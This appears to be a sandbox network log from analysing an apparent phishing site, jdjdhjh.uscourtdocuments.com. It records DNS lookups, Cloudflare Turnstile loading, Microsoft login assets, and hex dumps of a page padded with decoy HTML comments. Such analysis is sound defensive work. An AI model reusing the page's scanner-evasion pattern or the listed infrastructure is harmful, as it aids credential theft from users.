Dec 9, 2024 14:20:07.689011097 CET	1.1.1.1	192.168.2.9	0x218a	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:07.689011097 CET	1.1.1.1	192.168.2.9	0x218a	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:07.689011097 CET	1.1.1.1	192.168.2.9	0x218a	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.602391005 CET	1.1.1.1	192.168.2.9	0x2808	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.602391005 CET	1.1.1.1	192.168.2.9	0x2808	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.602488995 CET	1.1.1.1	192.168.2.9	0xb1f6	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 9, 2024 14:20:08.702037096 CET	1.1.1.1	192.168.2.9	0xbb9e	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.702037096 CET	1.1.1.1	192.168.2.9	0xbb9e	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.702662945 CET	1.1.1.1	192.168.2.9	0x8ec4	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Dec 9, 2024 14:20:08.703474045 CET	1.1.1.1	192.168.2.9	0xdc8a	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.703474045 CET	1.1.1.1	192.168.2.9	0xdc8a	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.703769922 CET	1.1.1.1	192.168.2.9	0x3764	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.703769922 CET	1.1.1.1	192.168.2.9	0x3764	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.703769922 CET	1.1.1.1	192.168.2.9	0x3764	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.703769922 CET	1.1.1.1	192.168.2.9	0x3764	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.704329967 CET	1.1.1.1	192.168.2.9	0x84db	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Dec 9, 2024 14:20:12.148700953 CET	1.1.1.1	192.168.2.9	0xf6c	No error (0)	1330394848-1323985617.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:12.148700953 CET	1.1.1.1	192.168.2.9	0xf6c	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:12.148700953 CET	1.1.1.1	192.168.2.9	0xf6c	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:12.148700953 CET	1.1.1.1	192.168.2.9	0xf6c	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:12.148700953 CET	1.1.1.1	192.168.2.9	0xf6c	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:12.160296917 CET	1.1.1.1	192.168.2.9	0x881e	No error (0)	qtur.uscourtdocuments.com			65	IN (0x0001)	false
Dec 9, 2024 14:20:12.161324978 CET	1.1.1.1	192.168.2.9	0xcf50	No error (0)	qtur.uscourtdocuments.com		172.67.129.98	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:12.161324978 CET	1.1.1.1	192.168.2.9	0xcf50	No error (0)	qtur.uscourtdocuments.com		104.21.1.136	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:16.386539936 CET	1.1.1.1	192.168.2.9	0x2cef	No error (0)	qtur.uscourtdocuments.com			65	IN (0x0001)	false
Dec 9, 2024 14:20:16.388816118 CET	1.1.1.1	192.168.2.9	0xbc22	No error (0)	qtur.uscourtdocuments.com		104.21.1.136	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:16.388816118 CET	1.1.1.1	192.168.2.9	0xbc22	No error (0)	qtur.uscourtdocuments.com		172.67.129.98	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:19.422517061 CET	1.1.1.1	192.168.2.9	0xa3e	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:19.422517061 CET	1.1.1.1	192.168.2.9	0xa3e	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:19.422517061 CET	1.1.1.1	192.168.2.9	0xa3e	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:19.423302889 CET	1.1.1.1	192.168.2.9	0x8064	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:19.423302889 CET	1.1.1.1	192.168.2.9	0x8064	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:19.464116096 CET	1.1.1.1	192.168.2.9	0xfcf9	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:19.464116096 CET	1.1.1.1	192.168.2.9	0xfcf9	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:21.835889101 CET	1.1.1.1	192.168.2.9	0x902c	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:21.835889101 CET	1.1.1.1	192.168.2.9	0x902c	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:21.838188887 CET	1.1.1.1	192.168.2.9	0x73e5	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:21.838188887 CET	1.1.1.1	192.168.2.9	0x73e5	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:21.838188887 CET	1.1.1.1	192.168.2.9	0x73e5	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:22.099675894 CET	1.1.1.1	192.168.2.9	0x9f02	No error (0)	shed.dual-low.s-part-0034.t-0009.t-msedge.net	s-part-0034.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:22.099675894 CET	1.1.1.1	192.168.2.9	0x9f02	No error (0)	s-part-0034.t-0009.t-msedge.net		13.107.246.62	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

jdjdhjh.uscourtdocuments.com

https:

challenges.cloudflare.com

code.jquery.com

cdnjs.cloudflare.com

stackpath.bootstrapcdn.com

maxcdn.bootstrapcdn.com

1330394848-1323985617.cos.ap-singapore.myqcloud.com

qtur.uscourtdocuments.com

aadcdn.msftauth.net

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49739	104.21.1.136	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:29 UTC	676	OUT	GET /A3RjQ HTTP/1.1 Host: jdjdhjh.uscourtdocuments.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:29 UTC	878	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:19:29 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: http://jdjdhjh.uscourtdocuments.com/A3RjQ/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aiMaUBzZcXPeacT%2FhQ8E5JL2UYwGpIhDxWRaM%2BjUtdmRdZ%2BCgJbaXdQzCDvkXdZKvmAMTw9746KJ%2BOHLke5dvnyyujrCkhaG5OuxusagErfqVG6S7PwvblMseNmpbHnywfFLZgrOn3NmWaB3WFYt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef54981fa800f49-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1657&min_rtt=1644&rtt_var=642&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=1254&delivery_rate=1670480&cwnd=215&unsent_bytes=0&cid=747ec835b29a1c42&ts=586&x=0"
2024-12-09 13:19:29 UTC	257	IN	Data Raw: 66 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6a 64 6a 64 68 6a 68 2e 75 73 63 6f 75 72 74 64 6f 63 75 6d 65 6e 74 73 2e 63 6f 6d 2f 41 33 52 6a 51 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: fb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://jdjdhjh.uscourtdocuments.com/A3RjQ/">here</a>.</p></body></html>
2024-12-09 13:19:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49740	104.21.1.136	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:30 UTC	677	OUT	GET /A3RjQ/ HTTP/1.1 Host: jdjdhjh.uscourtdocuments.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:30 UTC	1001	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:19:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=sl0suu9ntcc53peup2c7cdtnrn; path=/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yjzyT6oNBI5yCFDvPl1lyqO84XjVpiomqMDpCWnOkfNHdnIiXn1%2BLPz2yW6dQsBBSk1%2B74GLOHm5V28ghU4VZYTYy7%2B8TaA4RQESvR46F5y7rYuk2Vqjg%2Bk7%2BjLtRlm6jFQXltVT174j5MseLNtC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef54985cda0436f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2049&min_rtt=2034&rtt_var=793&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=1255&delivery_rate=1354988&cwnd=181&unsent_bytes=0&cid=059305e62695ea41&ts=1197&x=0"
2024-12-09 13:19:30 UTC	368	IN	Data Raw: 61 38 61 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 45 6c 64 65 72 66 6c 6f 77 65 72 53 70 72 6f 75 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 41 20 6d 75 73 69 63 69 61 6e 20 62 6c 65 6e 64 65 64 20 65 6c 65 63 74 72 6f 6e 69 63 20 73 6f 75 6e 64 73 20 77 69 74 68 20 61 63 6f 75 73 74 69 63 20 69 6e 73 74 72 75 6d 65 6e 74 73 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c Data Ascii: a8a <html lang="en"> <head> <meta charset="UTF-8"> <title>ElderflowerSprout</title> ... <span>A musician blended electronic sounds with acoustic instruments.</span> --> <meta name="robots" content="noindex, nofol
2024-12-09 13:19:30 UTC	1369	IN	Data Raw: 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 70 3e 41 20 62 6f 74 61 6e 69 73 74 20 65 78 70 6c 6f 72 65 64 20 73 79 6d 62 69 6f 74 69 63 20 72 65 6c 61 74 69 6f 6e 73 68 69 70 73 20 62 65 74 77 65 65 6e 20 66 6c 6f 72 61 20 73 70 65 63 69 65 73 2e 3c 2f 70 3e 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 Data Ascii: /challenges.cloudflare.com/turnstile/v0/api.js"></script> ... <p>A botanist explored symbiotic relationships between flora species.</p> --> <style> body { font-family: Arial, sans-serif }
2024-12-09 13:19:30 UTC	968	IN	Data Raw: 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 30 78 34 41 41 41 41 41 41 41 31 76 53 47 68 75 58 63 53 4d 37 66 56 43 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 4f 72 65 67 61 6e 6f 42 6c 6f 73 73 6f 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 3c 21 2d 2d 20 3c 73 70 61 6e 3e 54 68 65 20 62 69 6f 63 68 65 6d 69 73 74 20 69 73 6f 6c 61 74 65 64 20 65 6e 7a 79 6d 65 73 20 63 72 75 63 69 61 6c 20 66 6f 72 20 62 69 6f 74 65 63 68 6e 6f 6c 6f 67 69 63 61 6c 20 61 64 76 61 6e 63 65 73 2e 3c 2f 73 70 61 6e 3e 20 2d Data Ascii: span class="cf-turnstile" data-sitekey="0x4AAAAAAA1vSGhuXcSM7fVC" data-callback="OreganoBlossom"> </span> </form>... <span>The biochemist isolated enzymes crucial for biotechnological advances.</span> -
2024-12-09 13:19:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49750	104.18.95.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:31 UTC	556	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://jdjdhjh.uscourtdocuments.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:32 UTC	386	IN	HTTP/1.1 302 Found Date: Mon, 09 Dec 2024 13:19:32 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f9063374b04d/api.js Server: cloudflare CF-RAY: 8ef549921e9cefa3-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49754	104.18.95.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:33 UTC	571	OUT	GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://jdjdhjh.uscourtdocuments.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:33 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:19:33 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 03 Dec 2024 18:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ef5499c79ea423d-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:19:33 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-09 13:19:33 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-09 13:19:33 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-09 13:19:33 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-09 13:19:33 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
